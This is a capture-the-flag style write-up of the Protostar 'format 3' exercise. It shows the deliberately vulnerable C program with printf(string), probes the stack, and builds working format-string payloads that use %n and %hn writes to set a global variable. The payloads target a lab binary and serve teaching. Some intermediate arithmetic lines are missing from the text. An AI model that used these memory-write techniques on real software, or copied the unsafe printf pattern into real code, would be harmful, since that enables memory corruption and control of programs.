Protostar: Format 3

This is the fourth uncontrolled format string vulnerability exercise from the Protostar image from Exploit Exercises. This one again requires writing to a variable using a format string, but this time we are writing 4 bytes instead of one. I’ll be showing two methods to solve it, each writting the the integer’s address using %n.

The Source

For this challenge we are given the following source:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

Reading through the code it is practically the exact same as format 2 except we are now writting 4 bytes to target instead of just one. We will again be using piped echo output to send our exploit to the program.

The Vulnerability

The program still contains the improper implementation of printf() vulnerability, and while at first it may seem like we can solve this the exact way format 2 was solved, writing 4 bytes instead of 1 is a little trickier due to the properties and limits of %n. This gives us two main options: we can either target each byte of the address specifically by putting mutliple addresses on the stack each increasing the least significant byte, or we could do the operation in two writes making use of the fact that short writes don’t destroy data on the stack and writing 2 bytes at a time.

The Exploit - Four-Write Method

The program again uses fgets() to get our input, so our input shouldn’t be that far away on the stack. Again we can probe for its location using repeated %x calls:

echo AAAA`python -c 'print ".%x"*15'` | ./format3
AAAA.0.bffff620.b7fd7ff4.0.0.bffff828.804849d.bffff620.200.b7fd8420.bffff664.41414141.2e78252e.252e7825.78252e78
target is 00000000 :(

Our input shows up at the 12 position on the stack. Next up, you guessed it, is finding the address of target by looking in the bss segment:

objdump -t format3 | grep "target"
080496f4 g    0 .bss   00000004            target

Target exists at 0x080496f4. To write 4 bytes of input we will have to specify each byte by name that we want to write to, so we will be writing to 0x080496f4, 0x080496f5, 0x080496f6, and 0x080496f7. Putting these locations on the stack will also force us to specify a new stack location to use with direct parameter access (DPA) each time. So if our first byte specified is at $12, the next would be at $13, then $14 and finally $15.

So far we are looking at our exploit as:

echo `python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%12$n%13$n%14$n%15$n"'` | ./format3
♦
target is 10101010 :(

This is good news as we now have data being written to each byte of target. So far we have printed 16 bytes of data, so each byte of target became 0x10. Now we need to calculate how many characters to write with our width field to make target equal 0x01025544. To do this we just need to keep track of each write we make because it will affect the count needed for later writes.

Starting with the least significant byte, which needs to be 0x44 = 68:

Then the next byte, 0x55 = 85:

The third byte presents a problem. is smaller than , so there is no way we can add up to for the next step. To solve this, we can take advantage of the same property of %n that makes writing multiple bytes with it tricky. If the data we want to write is larger than ff, the extra bits will overflow to the next byte.

We want 01 to overflow, and 02 to be left. This means we want the next value to be 0x102 = 258:

That third step actually kills two birds with one stone, because by overflowing we also write 0x01 to our last byte. This reduces our four write solution to a three write solution.

Adding these writes to our exploit we get:

echo `python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%52x%12$n%17x%13$n%173x%14$n"'` | ./format3
you have modified the target :)

The Exploit - Two-Write Method

Getting a three write solution is pretty good, but we can bring it down to two bytes which is neater and easier on the stack as data that’s next to our address isn’t at risk of being destroyed. To do this we again use %n, but this time we specify to do a short write with %hn. As per its name we are now writing 16 bits instead of 32, so our data will now fit evenly with two writes because we don’t have to worry about overflow.

The construction is similar to the 4 write method. Our input is the same location on the stack (%12). We first want to write 0102 to the 2 most significant bytes of our address because it is the smallest value we are writing. Since we already have 8 bytes written from the two address: x

echo `python -c 'print "\xf4\x96\x04\x08\xf6\x96\x04\x08%250x%13$hn"'` | ./format3
target is 01020000 :(

Note that the second address specified isn’t necessary yet, but I included it so we don’t have to adjust the math later.

Writing 0x0102 worked, now we can write the rest: x

echo `python -c 'print "\xf4\x96\x04\x08\xf6\x96\x04\x08%250x%13$hn%21570x%12$hn"'` | ./format3
you have modified the target :)

We modified our target correctly, notice that we wrote to the two least significant bytes last. Doing this without a short write would have overwritten the data we already wrote, but since we only wrote 16 bits the information is preserved and we got our success message.